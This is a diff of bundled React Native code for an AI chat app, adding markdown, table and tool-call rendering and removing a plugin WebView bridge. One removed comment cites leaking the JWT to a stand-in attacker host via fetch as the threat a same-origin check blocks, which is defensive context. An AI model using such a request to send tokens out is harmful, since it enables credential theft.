+function renderAssistantContent(content, copyText) {
+  if (!content) return null;
+  if (!content.includes(TABLE_BLOCK_OPEN)) {
+    return /* @__PURE__ */ jsx8(MarkdownBubble, { content, copyText });
+  }
+  const segments = [];
+  let cursor = 0;
+  while (cursor < content.length) {
+    const open = content.indexOf(TABLE_BLOCK_OPEN, cursor);
+    if (open === -1) {
+      segments.push({ kind: "md", content: content.slice(cursor) });
+      break;
+    }
+    if (open > cursor) {
+      segments.push({ kind: "md", content: content.slice(cursor, open) });
+    }
+    const close = content.indexOf(TABLE_BLOCK_CLOSE, open + TABLE_BLOCK_OPEN.length);
+    if (close === -1) {
+      segments.push({ kind: "md", content: content.slice(open) });
+      break;
+    }
+    const payload = content.slice(open + TABLE_BLOCK_OPEN.length, close);
+    segments.push({ kind: "table", content: payload });
+    cursor = close + TABLE_BLOCK_CLOSE.length;
+  }
+  return /* @__PURE__ */ jsx8(Fragment, { children: segments.map((seg, i) => {
+    if (seg.kind === "md") {
+      const trimmed = seg.content.trim();
+      if (!trimmed) return null;
+      return /* @__PURE__ */ jsx8(MarkdownBubble, { content: seg.content, copyText }, i);
+    }
     try {
-      await loadConversation();
+      const data = JSON.parse(decodeURIComponent(seg.content));
+      return /* @__PURE__ */ jsx8(TableCardBlock, { columns: data.columns, rows: data.rows }, i);
     } catch {
+      return null;
     }
-    setRefreshing(false);
-  }, [loadConversation]);
-  const renderItem = useCallback3(({ item, index }) => {
-    const older = useInverted ? listData[index + 1] : listData[index - 1];
-    const showDaySep = !older || !isSameDay2(older.timestamp, item.timestamp);
-    return /* @__PURE__ */ jsxs7(View8, { children: [
-      showDaySep && /* @__PURE__ */ jsx8(DaySeparator, { date: item.timestamp }),
-      /* @__PURE__ */ jsx8(MessageBubble, { message: item })
-    ] });
-  }, [listData, useInverted]);
-  const typingIndicator = loading && !(useInverted ? listData[0] : listData[listData.length - 1])?.jobProgress ? /* @__PURE__ */ jsx8(TypingIndicator, {}) : null;
-  return /* @__PURE__ */ jsxs7(
-    KeyboardAvoidingView,
+  }) });
+}
+function MarkdownBubble({ content, copyText }) {
+  return /* @__PURE__ */ jsx8(
+    Markdown,
     {
-      style: styles8.root,
-      behavior: Platform5.OS === "ios" ? "padding" : void 0,
-      children: [
-        /* @__PURE__ */ jsx8(
-          FlatList,
+      style: markdownStyles,
+      rules: {
+        code_inline: (node) => /* @__PURE__ */ jsx8(
+          Text6,
           {
-            ref: listRef,
-            style: styles8.list,
-            data: listData,
-            inverted: useInverted,
-            keyExtractor: (m) => m.id,
-            renderItem,
-            ListHeaderComponent: useInverted ? typingIndicator : null,
-            ListFooterComponent: useInverted ? null : typingIndicator,
-            onContentSizeChange: useInverted ? void 0 : () => scrollToLatest(false),
-            refreshControl: /* @__PURE__ */ jsx8(RefreshControl, { refreshing, onRefresh: handleRefresh, tintColor: ada5.orange }),
-            keyboardShouldPersistTaps: "handled",
-            contentContainerStyle: styles8.listContent
-          }
+            style: markdownStyles.code_inline,
+            onPress: () => copyText(node.content),
+            children: node.content
+          },
+          node.key
         ),
-        footerAccessory,
-        /* @__PURE__ */ jsx8(
-          ChatInput,
+        fence: (node) => /* @__PURE__ */ jsx8(
+          Pressable3,
           {
-            onSend: handleSend,
-            onCallStart,
-            loading,
-            prefill,
-            placeholder
-          }
-        ),
-        withLightbox && /* @__PURE__ */ jsx8(Lightbox, {})
-      ]
+            onPress: () => copyText(node.content),
+            style: markdownStyles.fence,
+            children: /* @__PURE__ */ jsx8(Text6, { style: markdownStyles.fenceText, children: node.content })
+          },
+          node.key
+        )
+      },
+      children: content
     }
   );
 }
-var styles8 = StyleSheet8.create({
-  root: {
-    flex: 1,
-    backgroundColor: ada5.paper
+function ToolCallsBadge({ calls }) {
+  const [expanded, setExpanded] = useState4(false);
+  const label = calls.filter((c) => c.name === "send_message_to_skill").map((c) => c.args.skill_name || c.skill).filter(Boolean).join(", ") || "Tool call";
+  return /* @__PURE__ */ jsxs6(View7, { style: styles6.toolCalls, children: [
+    /* @__PURE__ */ jsxs6(Pressable3, { style: styles6.toolToggle, onPress: () => setExpanded(!expanded), children: [
+      /* @__PURE__ */ jsx8(Text6, { style: styles6.toolLabel, children: label }),
+      /* @__PURE__ */ jsx8(Text6, { style: styles6.toolChevron, children: expanded ? "\u25B2" : "\u25BC" })
+    ] }),
+    expanded && calls.map((tc, i) => /* @__PURE__ */ jsxs6(View7, { style: styles6.toolItem, children: [
+      /* @__PURE__ */ jsx8(Text6, { style: styles6.toolName, children: tc.name }),
+      tc.skill && /* @__PURE__ */ jsx8(Text6, { style: styles6.toolSkill, children: tc.skill })
+    ] }, i))
+  ] });
+}
+var styles6 = StyleSheet6.create({
+  row: {
+    flexDirection: "row",
+    alignItems: "flex-end",
+    marginBottom: 12,
+    paddingHorizontal: 12,
+    gap: 8
   },
-  list: {
-    flex: 1
+  rowUser: {
+    justifyContent: "flex-end"
   },
-  listContent: {
+  avatarOrb: {
+    width: 28,
+    height: 28,
+    justifyContent: "center",
+    alignItems: "center"
+  },
+  avatarSpacer: {
+    width: 28,
+    height: 28
+  },
+  bubble: {
+    maxWidth: "78%",
+    backgroundColor: ada6.botBubble,
+    borderWidth: 1,
+    borderColor: ada6.botBubbleBorder,
+    borderRadius: borderRadius3.xl,
+    paddingHorizontal: 16,
     paddingVertical: 12
+  },
+  bubbleUser: {
+    backgroundColor: ada6.userBubble,
+    borderColor: "transparent"
+  },
+  bubbleSystem: {
+    backgroundColor: ada6.orangeSoft,
+    borderColor: ada6.orange,
+    maxWidth: "90%"
+  },
+  bubbleNotification: {
+    backgroundColor: ada6.orangeSoft,
+    borderColor: "rgba(255, 122, 40, 0.35)",
+    borderRadius: borderRadius3.lg,
+    maxWidth: "90%"
+  },
+  notificationLeftStripe: {
+    width: 3,
+    alignSelf: "stretch",
+    backgroundColor: ada6.orange,
+    borderRadius: 2,
+    marginRight: 4
+  },
+  notificationHeader: {
+    flexDirection: "row",
+    alignItems: "center",
+    gap: 6,
+    marginBottom: 6
+  },
+  notificationHeaderIcon: {
+    fontSize: 12
+  },
+  notificationHeaderText: {
+    color: ada6.orangeDeep,
+    fontSize: 11,
+    fontWeight: "700",
+    letterSpacing: 0.6,
+    textTransform: "uppercase",
+    fontFamily: fontFam3
+  },
+  userText: {
+    color: ada6.userBubbleText,
+    fontSize: fontSize4.md,
+    lineHeight: 22,
+    fontFamily: fontFam3
+  },
+  timeText: {
+    fontSize: 11,
+    color: ada6.inkMuted,
+    alignSelf: "flex-end",
+    marginTop: 4,
+    fontFamily: fontFam3
+  },
+  timeTextUser: {
+    color: "rgba(250,246,238,0.55)"
+  },
+  attachments: {
+    flexDirection: "row",
+    flexWrap: "wrap",
+    gap: 6,
+    marginBottom: 8
+  },
+  attachmentImage: {
+    width: 120,
+    height: 90,
+    borderRadius: 8
+  },
+  attachmentFile: {
+    backgroundColor: "rgba(255,255,255,0.15)",
+    borderRadius: 8,
+    paddingHorizontal: 10,
+    paddingVertical: 6
+  },
+  attachmentFileName: {
+    color: "rgba(255,255,255,0.8)",
+    fontSize: 11,
+    maxWidth: 100
+  },
+  copiedBadge: {
+    position: "absolute",
+    top: 6,
+    right: 6,
+    backgroundColor: "#5A8A5C",
+    paddingHorizontal: 8,
+    paddingVertical: 2,
+    borderRadius: borderRadius3.sm
+  },
+  copiedText: {
+    color: "#fff",
+    fontSize: fontSize4.xs,
+    fontWeight: "600"
+  },
+  toolCalls: {
+    marginTop: 8,
+    borderTopWidth: 1,
+    borderTopColor: ada6.border,
+    paddingTop: 6
+  },
+  toolToggle: {
+    flexDirection: "row",
+    alignItems: "center",
+    gap: 6
+  },
+  toolLabel: {
+    color: ada6.inkSoft,
+    fontSize: fontSize4.xs,
+    fontWeight: "500"
+  },
+  toolChevron: {
+    color: ada6.inkMuted,
+    fontSize: 8
+  },
+  toolItem: {
+    marginTop: 4,
+    paddingLeft: 8
+  },
+  toolName: {
+    color: ada6.inkSoft,
+    fontSize: fontSize4.xs,
+    fontFamily: "monospace"
+  },
+  toolSkill: {
+    color: ada6.orangeDeep,
+    fontSize: fontSize4.xs
   }
-});
-
-// src/plugin/Plugin.tsx
-import React, { useMemo as useMemo3 } from "react";
-import { View as View10, Text as Text7, Pressable as Pressable5, ActivityIndicator as ActivityIndicator2, StyleSheet as StyleSheet10 } from "react-native";
-import { getTenant as getTenant3, getUser, colors as colors2 } from "@ateam-ai-mobile/core";
-import {
-  usePlugin,
-  useNativeBridge,
-  usePluginTheme,
-  getPluginNative
-} from "@ateam-ai-mobile/plugin-runtime";
-
-// src/plugin/EmbeddedPluginWebView.tsx
-import { useState as useState5, useMemo as useMemo2, useCallback as useCallback5 } from "react";
-import { View as View9, Text as Text6, ActivityIndicator, StyleSheet as StyleSheet9, Platform as Platform6 } from "react-native";
-import { WebView } from "react-native-webview";
-import { getConfig as getConfig3, getCoreApiUrl, getTenant as getTenant2, getToken, ada as ada6 } from "@ateam-ai-mobile/core";
-import { resolvePluginUrl } from "@ateam-ai-mobile/plugin-runtime";
-
-// src/plugin/usePluginBridge.ts
-import { useCallback as useCallback4, useEffect as useEffect4, useRef as useRef4 } from "react";
-import {
-  getTenant,
-  connectorCall,
-  mcpFetch,
-  mcpToolCall,
-  postCommandResult,
-  pluginCommandEmitter as pluginCommandEmitter2
-} from "@ateam-ai-mobile/core";
-function usePluginBridge(pluginId, connectorId, commandBufferRef, wsRef) {
-  const webViewRef = useRef4(null);
-  const sendInit = useCallback4(() => {
-    const msg = JSON.stringify({
-      source: "adas-host",
-      pluginId,
-      message: {
-        type: "init",
-        payload: {
-          tenant: getTenant(),
-          connectorId: connectorId || null,
-          mcpEndpoint: null,
-          slug: null,
-          skillSlug: null
-        }
-      }
-    });
-    webViewRef.current?.postMessage(msg);
-  }, [pluginId, connectorId]);
-  const sendToPlugin = useCallback4(
-    (type, payload) => {
-      const msg = JSON.stringify({
-        source: "adas-host",
-        message: { type, payload }
-      });
-      webViewRef.current?.postMessage(msg);
-    },
-    []
-  );
-  const dispatchToWebView = useCallback4((cmd) => {
-    if (cmd.command === "__focus") return;
-    const msg = JSON.stringify({
-      source: "adas-host",
-      pluginId,
-      message: {
-        type: "plugin.command",
-        payload: {
-          command: cmd.command,
-          args: cmd.args,
-          correlationId: cmd.correlationId
-        }
-      }
-    });
-    webViewRef.current?.postMessage(msg);
-  }, [pluginId]);
-  useEffect4(() => {
-    const unsub = pluginCommandEmitter2.on("plugin-command", (cmd) => {
-      if (cmd.pluginId !== pluginId) return;
-      dispatchToWebView(cmd);
-    });
-    return unsub;
-  }, [pluginId, dispatchToWebView]);
-  useEffect4(() => {
-    if (!commandBufferRef) return;
-    const timer = setTimeout(() => {
-      const buf = commandBufferRef.current;
-      const remaining = [];
-      for (const cmd of buf) {
-        if (cmd.pluginId === pluginId) {
-          dispatchToWebView(cmd);
-        } else {
-          remaining.push(cmd);
-        }
-      }
-      commandBufferRef.current = remaining;
-    }, 1e3);
-    return () => clearTimeout(timer);
-  }, [pluginId, commandBufferRef, dispatchToWebView]);
-  const handleMessage = useCallback4(
-    async (event) => {
-      let data;
-      try {
-        data = JSON.parse(event.nativeEvent.data);
-      } catch {
-        return;
-      }
-      if (data.source !== "adas-plugin") return;
-      const action = data.message?.action || data.action;
-      const payload = data.message?.payload || data.payload;
-      const type = data.message?.type || data.type;
-      if (action === "mcp-fetch" && payload?.requestId) {
-        const { requestId, body } = payload;
-        try {
-          const result = await mcpFetch(body);
-          sendToPlugin("mcp-fetch-result", { requestId, result, error: null });
-        } catch (err) {
-          console.warn("[PluginBridge] mcp-fetch ERROR:", err.message);
-          sendToPlugin("mcp-fetch-result", { requestId, result: null, error: err.message });
-        }
-        return;
-      }
-      if (action === "mcp-call" && payload?.requestId) {
-        const { requestId, toolName, args: callArgs } = payload;
-        if (toolName) {
-          try {
-            const rpcResponse = await mcpToolCall(toolName, callArgs || {});
-            const result = rpcResponse?.result ?? rpcResponse;
-            sendToPlugin("mcp-result", { requestId, result, error: null });
-          } catch (err) {
-            sendToPlugin("mcp-result", { requestId, result: null, error: err.message });
-          }
-          return;
-        }
-        const cId = payload.connectorId || callArgs?.connectorId || callArgs?.params?.connectorId;
-        const tool = payload.tool || callArgs?.tool || callArgs?.params?.tool;
-        const toolArgs = payload.args || callArgs?.args || callArgs?.params?.args || {};
-        if (!cId || !tool) {
-          console.error(`[PluginBridge] mcp-call missing params \u2014 connectorId: ${cId}, tool: ${tool}`);
-          sendToPlugin("mcp-result", { requestId, result: null, error: `Missing connectorId or tool in mcp-call. Got connectorId=${cId}, tool=${tool}` });
-          return;
-        }
-        try {
-          const data2 = await connectorCall(cId, tool, toolArgs);
-          if (data2.ok) {
-            sendToPlugin("mcp-result", { requestId, result: data2.result, error: null });
-          } else {
-            sendToPlugin("mcp-result", { requestId, result: null, error: data2.error || "MCP call failed" });
-          }
-        } catch (err) {
-          sendToPlugin("mcp-result", { requestId, result: null, error: err.message });
-        }
-        return;
-      }
-      if (action === "close") {
-        pluginCommandEmitter2.emit("plugin-close", { pluginId });
-        return;
-      }
-      if (type === "plugin.command.result" && payload?.correlationId) {
-        const ws = wsRef?.current;
-        if (ws && ws.readyState === WebSocket.OPEN) {
-          try {
-            ws.send(JSON.stringify({
-              type: "plugin-command-result",
-              correlationId: payload.correlationId,
-              result: payload.result,
-              error: payload.error
-            }));
-          } catch (err) {
-            console.warn("[PluginBridge] WS send failed, falling back to POST:", err.message);
-            await postCommandResult(payload.correlationId, payload.result, payload.error).catch(() => {
-            });
-          }
-        } else {
-          try {
-            await postCommandResult(payload.correlationId, payload.result, payload.error);
-          } catch (err) {
-            console.warn("[PluginBridge] Failed to send command result:", err.message);
-          }
-        }
-        return;
-      }
-    },
-    [sendToPlugin]
-  );
-  return {
-    webViewRef,
-    sendInit,
-    handleMessage
-  };
-}
-function buildPluginBridgeJS(jwt, tenant) {
-  return `
-(function() {
-  function _dbg(msg) {
-    console.log('[PluginBridge] ' + msg);
-  }
-
-  // 1. Seed localStorage. JWT is required by web-shared plugin code
-  //    (cpFeApi.ts etc. read localStorage.adas.jwt directly). Origin lockdown
-  //    lives in EmbeddedPluginWebView (originWhitelist +
-  //    onShouldStartLoadWithRequest) \u2014 not here. Never log the token.
-  try {
-    localStorage.setItem('adas.jwt', ${JSON.stringify(jwt)});
-    localStorage.setItem('adas.tenant', ${JSON.stringify(tenant)});
-    _dbg('localStorage seeded: jwt=' + (${JSON.stringify(jwt)} ? '[present]' : '[absent]') + ' tenant=' + ${JSON.stringify(tenant)});
-  } catch(e) { _dbg('localStorage ERROR: ' + e.message); }
-
-  // 2. Intercept ALL fetch calls \u2014 proxy /mcp through the RN bridge
-  var _origFetch = window.fetch.bind(window);
-  var _mcpReqId = 0;
-  var _pendingMcp = {};
-
-  window.fetch = function(url, opts) {
-    var urlStr = (typeof url === 'string') ? url : (url && url.url) || '';
-    var method = (opts && opts.method) || 'GET';
-
-    _dbg('FETCH ' + method + ' ' + urlStr.substring(0, 80));
-
-    // Intercept /mcp calls
-    if (urlStr === '/mcp' || urlStr.endsWith('/mcp')) {
-      _dbg('  -> INTERCEPTED /mcp, proxying via RN bridge');
-      return new Promise(function(resolve, reject) {
-        var requestId = 'mcp-f-' + (++_mcpReqId) + '-' + Date.now();
-        _pendingMcp[requestId] = { resolve: resolve, reject: reject };
-        window.ReactNativeWebView.postMessage(JSON.stringify({
-          source: 'adas-plugin',
-          action: 'mcp-fetch',
-          payload: { requestId: requestId, body: opts && opts.body ? opts.body : null }
-        }));
-        setTimeout(function() {
-          if (_pendingMcp[requestId]) {
-            delete _pendingMcp[requestId];
-            _dbg('TIMEOUT mcp-fetch ' + requestId);
-            reject(new Error('MCP fetch timeout (30s)'));
-          }
-        }, 30000);
-      });
-    }
-
-    // Inject Authorization header ONLY for same-origin requests. A relative
-    // path resolves against window.location.origin; an absolute URL must
-    // literally match. This stops a plugin from leaking the JWT to a foreign
-    // host via fetch('https://attacker.com/x') or via <base href>.
-    var sameOrigin = false;
-    try {
-      var resolved = new URL(urlStr, window.location.origin);
-      sameOrigin = (resolved.origin === window.location.origin);
-    } catch (_) { sameOrigin = false; }
-    if (sameOrigin) {
-      opts = Object.assign({}, opts || {});
-      var h = opts.headers;
-      if (h instanceof Headers) {
-        if (!h.has('Authorization')) { var jwt = localStorage.getItem('adas.jwt'); if (jwt) h.set('Authorization', 'Bearer ' + jwt); }
-      } else {
-        h = Object.assign({}, h || {});
-        if (!h['Authorization'] && !h['authorization']) { var jwt2 = localStorage.getItem('adas.jwt'); if (jwt2) h['Authorization'] = 'Bearer ' + jwt2; }
-        opts.headers = h;
-      }
-    }
-
-    return _origFetch(url, opts).then(function(res) {
-      _dbg('  <- ' + res.status + ' ' + urlStr.substring(0, 60));
-      return res;
-    }).catch(function(err) {
-      _dbg('  <- FETCH ERR: ' + err.message + ' ' + urlStr.substring(0, 40));
-      throw err;
-    });
-  };
-
-  // Handle results from RN host
-  function _handleHostMessage(d) {
-    if (!d || d.source !== 'adas-host') return;
-    var msg = d.message || {};
-
-    // mcp-fetch-result: response to intercepted fetch("/mcp")
-    if (msg.type === 'mcp-fetch-result' && msg.payload) {
-      var p = msg.payload;
-      var pending = _pendingMcp[p.requestId];
-      if (pending) {
-        delete _pendingMcp[p.requestId];
-        if (p.error) {
-          pending.reject(new Error(p.error));
-        } else {
-          pending.resolve(new Response(JSON.stringify(p.result), {
-            status: 200,
-            headers: { 'Content-Type': 'application/json' }
-          }));
-        }
-      }
-    }
+});
+var markdownStyles = StyleSheet6.create({
+  body: {
+    color: ada6.botBubbleText,
+    fontSize: fontSize4.md,
+    lineHeight: 22,
+    fontFamily: fontFam3
+  },
+  paragraph: {
+    marginTop: 0,
+    marginBottom: 4
+  },
+  strong: {
+    fontWeight: "700",
+    color: ada6.botBubbleText
+  },
+  em: {
+    fontStyle: "italic"
+  },
+  code_inline: {
+    backgroundColor: ada6.paperDeep,
+    color: ada6.orangeDeep,
+    paddingHorizontal: 5,
+    paddingVertical: 1,
+    borderRadius: 4,
+    fontFamily: "monospace",
+    fontSize: fontSize4.sm
+  },
+  fence: {
+    backgroundColor: ada6.paperDeep,
+    padding: 10,
+    borderRadius: 10
+  },
+  fenceText: {
+    fontFamily: "monospace",
+    fontSize: fontSize4.sm,
+    color: ada6.ink
+  },
+  link: {
+    color: ada6.orangeDeep
+  },
+  list_item: {
+    color: ada6.botBubbleText
+  },
+  bullet_list: {
+    marginVertical: 4
   }
+});
 
-  // 3. Override window.parent.postMessage (plugins use this in iframes)
-  window.parent = window.parent || {};
-  window.parent.postMessage = function(data, origin) {
-    if (data && data.source === 'adas-plugin') {
-      window.ReactNativeWebView.postMessage(JSON.stringify(data));
-    }
-  };
-
-  // 4. Also intercept direct window.postMessage
-  var origPost = window.postMessage.bind(window);
-  window.postMessage = function(data, origin) {
-    if (data && data.source === 'adas-plugin') {
-      window.ReactNativeWebView.postMessage(JSON.stringify(data));
-    }
-    origPost(data, origin);
-  };
-
-  // 5. Forward messages from RN host -> plugin
-  //    iOS: window 'message' event, Android: document 'message' event
-  window.addEventListener('message', function(e) {
-    try {
-      var d = typeof e.data === 'string' ? JSON.parse(e.data) : e.data;
-      if (d && d.source === 'adas-host') {
-        _handleHostMessage(d);
-        if (typeof e.data === 'string') {
-          window.dispatchEvent(new MessageEvent('message', { data: d }));
-        }
-      }
-    } catch(_) {}
-  });
-
-  document.addEventListener('message', function(e) {
-    try {
-      var d = typeof e.data === 'string' ? JSON.parse(e.data) : e.data;
-      _handleHostMessage(d);
-      window.dispatchEvent(new MessageEvent('message', { data: d }));
-    } catch(_) {}
-  });
-
-  _dbg('Bridge JS loaded. Waiting for plugin...');
-  true;
-})();
-`;
+// src/chat/TypingIndicator.tsx
+import { View as View8, StyleSheet as StyleSheet7 } from "react-native";
+import { AdaOrb as AdaOrb2 } from "@ateam-ai-mobile/plugin-runtime";
+import { jsx as jsx9 } from "react/jsx-runtime";
+function TypingIndicator() {
+  return /* @__PURE__ */ jsx9(View8, { style: styles7.row, children: /* @__PURE__ */ jsx9(AdaOrb2, { size: 32, state: "thinking" }) });
 }
+var styles7 = StyleSheet7.create({
+  row: {
+    flexDirection: "row",
+    alignItems: "center",
+    marginBottom: 12,
+    paddingHorizontal: 16,
+    paddingVertical: 4
+  }
+});
 
-// src/plugin/EmbeddedPluginWebView.tsx
-import { jsx as jsx9, jsxs as jsxs8 } from "react/jsx-runtime";
-function EmbeddedPluginWebView({ pluginId, manifest, commandBufferRef }) {
-  const [error, setError] = useState5(null);
-  const token = getToken();
-  const tenant = getTenant2();
-  const { webViewRef, sendInit, handleMessage } = usePluginBridge(pluginId, manifest._connectorId, commandBufferRef);
-  const url = resolvePluginUrl(manifest, tenant || void 0);
-  const bridgeJS = buildPluginBridgeJS(token || "", tenant || "");
-  const allowedHosts = useMemo2(() => {
-    const hosts = /* @__PURE__ */ new Set();
-    const urls = [getCoreApiUrl()];
-    const voice = getConfig3().voiceUrl;
-    if (voice) urls.push(voice);
-    for (const u of urls) {
-      try {
-        hosts.add(new URL(u).hostname);
-      } catch {
-      }
-    }
-    return hosts;
-  }, []);
-  const isAllowedPluginUrl = useCallback5((rawUrl) => {
-    if (!rawUrl) return false;
-    let parsed;
-    try {
-      parsed = new URL(rawUrl);
-    } catch {
-      return false;
+// src/chat/ChatInput.tsx
+import { useState as useState5, useRef as useRef3, useCallback as useCallback4, useEffect as useEffect5 } from "react";
+import {
+  View as View9,
+  TextInput,
+  Pressable as Pressable4,
+  StyleSheet as StyleSheet8,
+  Platform as Platform5
+} from "react-native";
+import Svg, { Path, Line, Polygon } from "react-native-svg";
+import { colors as colors2, borderRadius as borderRadius4 } from "@ateam-ai-mobile/core";
+import { getHaptics as getHaptics3 } from "@ateam-ai-mobile/plugin-runtime";
+import { jsx as jsx10, jsxs as jsxs7 } from "react/jsx-runtime";
+function ChatInput({ onSend, onCallStart, loading, prefill, placeholder }) {
+  const [text, setText] = useState5("");
+  const [height, setHeight] = useState5(40);
+  const inputRef = useRef3(null);
+  useEffect5(() => {
+    if (prefill) {
+      setText(prefill);
+      inputRef.current?.focus();
     }
-    if (parsed.protocol !== "https:" && parsed.protocol !== "http:") return false;
-    if (parsed.protocol === "http:") return false;
-    return allowedHosts.has(parsed.hostname);
-  }, [allowedHosts]);
-  const originWhitelist = useMemo2(
-    () => Array.from(allowedHosts).map((h) => `https://${h}`),
-    [allowedHosts]
-  );
-  if (error) {
-    return /* @__PURE__ */ jsx9(View9, { style: styles9.center, children: /* @__PURE__ */ jsx9(Text6, { style: styles9.errorText, children: error }) });
-  }
-  return /* @__PURE__ */ jsx9(View9, { style: styles9.container, children: /* @__PURE__ */ jsx9(
-    WebView,
-    {
-      ref: webViewRef,
-      source: { uri: url },
-      style: styles9.webview,
-      javaScriptEnabled: true,
-      domStorageEnabled: true,
-      allowsInlineMediaPlayback: true,
-      mediaPlaybackRequiresUserAction: false,
-      mixedContentMode: "never",
-      originWhitelist,
-      allowsBackForwardNavigationGestures: false,
-      setSupportMultipleWindows: false,
-      javaScriptCanOpenWindowsAutomatically: false,
-      onShouldStartLoadWithRequest: (req) => {
-        if (!isAllowedPluginUrl(req.url)) {
-          console.warn(`[EmbeddedPluginWebView] BLOCKED nav to disallowed origin: ${req.url}`);
-          return false;
-        }
-        return true;
-      },
-      injectedJavaScriptBeforeContentLoaded: bridgeJS,
-      onMessage: handleMessage,
-      onLoad: () => {
-        setTimeout(sendInit, 100);
-        setTimeout(sendInit, 500);
-        setTimeout(sendInit, 1200);
-      },
-      onError: (syntheticEvent) => {
-        const { nativeEvent } = syntheticEvent;
-        console.warn("[EmbeddedPluginWebView] Error:", nativeEvent.description);
-        setError(`WebView error: ${nativeEvent.description}`);
-      },
-      onHttpError: (syntheticEvent) => {
-        const { nativeEvent } = syntheticEvent;
-        console.warn("[EmbeddedPluginWebView] HTTP error:", nativeEvent.statusCode, nativeEvent.url);
-        if (nativeEvent.statusCode >= 400) {
-          setError(`HTTP ${nativeEvent.statusCode}: Failed to load plugin`);
+  }, [prefill]);
+  const handleSend = useCallback4(() => {
+    const trimmed = text.trim();
+    if (!trimmed) return;
+    getHaptics3()?.impact("light");
+    onSend(trimmed);
+    setText("");
+    setHeight(40);
+  }, [text, loading, onSend]);
+  const canSend = text.trim().length > 0;
+  return /* @__PURE__ */ jsx10(View9, { style: styles8.dock, children: /* @__PURE__ */ jsxs7(View9, { style: styles8.inputRow, children: [
+    onCallStart && /* @__PURE__ */ jsx10(Pressable4, { style: styles8.callBtn, onPress: onCallStart, children: /* @__PURE__ */ jsx10(Svg, { width: 20, height: 20, viewBox: "0 0 24 24", fill: "none", stroke: colors2.light.accent, strokeWidth: 2, strokeLinecap: "round", strokeLinejoin: "round", children: /* @__PURE__ */ jsx10(Path, { d: "M22 16.92v3a2 2 0 01-2.18 2 19.79 19.79 0 01-8.63-3.07 19.5 19.5 0 01-6-6 19.79 19.79 0 01-3.07-8.63A2 2 0 014.11 2h3a2 2 0 012 1.72 12.84 12.84 0 00.7 2.81 2 2 0 01-.45 2.11L8.09 9.91a16 16 0 006 6l1.27-1.27a2 2 0 012.11-.45 12.84 12.84 0 002.81.7A2 2 0 0122 16.92z" }) }) }),
+    /* @__PURE__ */ jsx10(
+      TextInput,
+      {
+        ref: inputRef,
+        style: [styles8.input, { height: Math.min(Math.max(40, height), 120) }],
+        value: text,
+        onChangeText: setText,
+        onContentSizeChange: (e) => setHeight(e.nativeEvent.contentSize.height),
+        placeholder: placeholder || "Message A-Team...",
+        placeholderTextColor: colors2.light.textMuted,
+        multiline: true,
+        returnKeyType: "default",
+        blurOnSubmit: false,
+        onSubmitEditing: () => {
+          if (Platform5.OS === "web") handleSend();
         }
-      },
-      startInLoadingState: true,
-      renderLoading: () => /* @__PURE__ */ jsxs8(View9, { style: styles9.webviewLoading, children: [
-        /* @__PURE__ */ jsx9(ActivityIndicator, { size: "small", color: ada6.orange }),
-        /* @__PURE__ */ jsx9(Text6, { style: styles9.loadingText, children: "Loading plugin..." })
-      ] }),
-      ...Platform6.OS === "ios" ? { bounces: false } : {}
-    }
-  ) });
+      }
+    ),
+    /* @__PURE__ */ jsx10(
+      Pressable4,
+      {
+        style: [styles8.sendBtn, canSend && styles8.sendBtnActive],
+        onPress: handleSend,
+        disabled: !canSend,
+        children: /* @__PURE__ */ jsxs7(Svg, { width: 18, height: 18, viewBox: "0 0 24 24", fill: "none", stroke: canSend ? "#fff" : colors2.light.textMuted, strokeWidth: 2, children: [
+          /* @__PURE__ */ jsx10(Line, { x1: "22", y1: "2", x2: "11", y2: "13" }),
+          /* @__PURE__ */ jsx10(Polygon, { points: "22 2 15 22 11 13 2 9 22 2" })
+        ] })
+      }
+    )
+  ] }) });
 }
-var styles9 = StyleSheet9.create({
-  container: {
-    flex: 1,
-    backgroundColor: ada6.paper
+var styles8 = StyleSheet8.create({
+  dock: {
+    paddingHorizontal: 12,
+    paddingVertical: 8,
+    backgroundColor: colors2.light.bgPrimary,
+    borderTopWidth: 0.5,
+    borderTopColor: colors2.light.border
   },
-  center: {
-    flex: 1,
-    justifyContent: "center",
-    alignItems: "center",
-    backgroundColor: ada6.paper,
-    paddingHorizontal: 32
+  inputRow: {
+    flexDirection: "row",
+    alignItems: "flex-end",
+    backgroundColor: colors2.light.bgInput,
+    borderRadius: borderRadius4.xl,
+    borderWidth: 1,
+    borderColor: colors2.light.border,
+    paddingHorizontal: 4,
+    paddingVertical: 4,
+    gap: 4
   },
-  errorText: {
-    color: "#C15545",
-    fontSize: 16,
-    textAlign: "center"
+  callBtn: {
+    width: 36,
+    height: 36,
+    borderRadius: 18,
+    justifyContent: "center",
+    alignItems: "center"
   },
-  webview: {
+  input: {
     flex: 1,
-    backgroundColor: ada6.paper
+    fontSize: 16,
+    color: colors2.light.textPrimary,
+    paddingHorizontal: 8,
+    paddingVertical: 8,
+    maxHeight: 120
   },
-  webviewLoading: {
-    position: "absolute",
-    top: 0,
-    left: 0,
-    right: 0,
-    bottom: 0,
+  sendBtn: {
+    width: 36,
+    height: 36,
+    borderRadius: 18,
     justifyContent: "center",
     alignItems: "center",
-    backgroundColor: ada6.paper,
-    gap: 12
+    backgroundColor: colors2.light.bgTertiary
   },
-  loadingText: {
-    color: ada6.inkSoft,
-    fontSize: 14
+  sendBtnActive: {
+    backgroundColor: colors2.light.accent
   }
 });
 
-// src/plugin/Plugin.tsx
-import { jsx as jsx10, jsxs as jsxs9 } from "react/jsx-runtime";
-var PluginErrorBoundary = class extends React.Component {
-  constructor() {
-    super(...arguments);
-    this.state = { hasError: false, error: null };
-  }
-  static getDerivedStateFromError(error) {
-    return { hasError: true, error };
-  }
-  componentDidCatch(error, info) {
-    console.error(`[Plugin:${this.props.pluginId}] Crash:`, error, info.componentStack);
+// src/Lightbox.tsx
+import { Modal, View as View10, Image as Image2, Pressable as Pressable5, Text as Text7, StyleSheet as StyleSheet9 } from "react-native";
+import { getConfig as getConfig3 } from "@ateam-ai-mobile/core";
+import { jsx as jsx11, jsxs as jsxs8 } from "react/jsx-runtime";
+function Lightbox() {
+  const uri = useLightboxStore((s) => s.uri);
+  const hide = useLightboxStore((s) => s.hide);
+  if (!uri) return null;
+  return /* @__PURE__ */ jsx11(Modal, { visible: true, transparent: true, animationType: "fade", onRequestClose: hide, children: /* @__PURE__ */ jsxs8(Pressable5, { style: styles9.backdrop, onPress: hide, children: [
+    /* @__PURE__ */ jsx11(
+      Image2,
+      {
+        source: {
+          uri,
+          ...uri.startsWith("http") ? {
+            headers: { Authorization: `Bearer ${getConfig3().tokenProvider.getToken()}` }
+          } : {}
+        },
+        style: styles9.image,
+        resizeMode: "contain"
+      }
+    ),
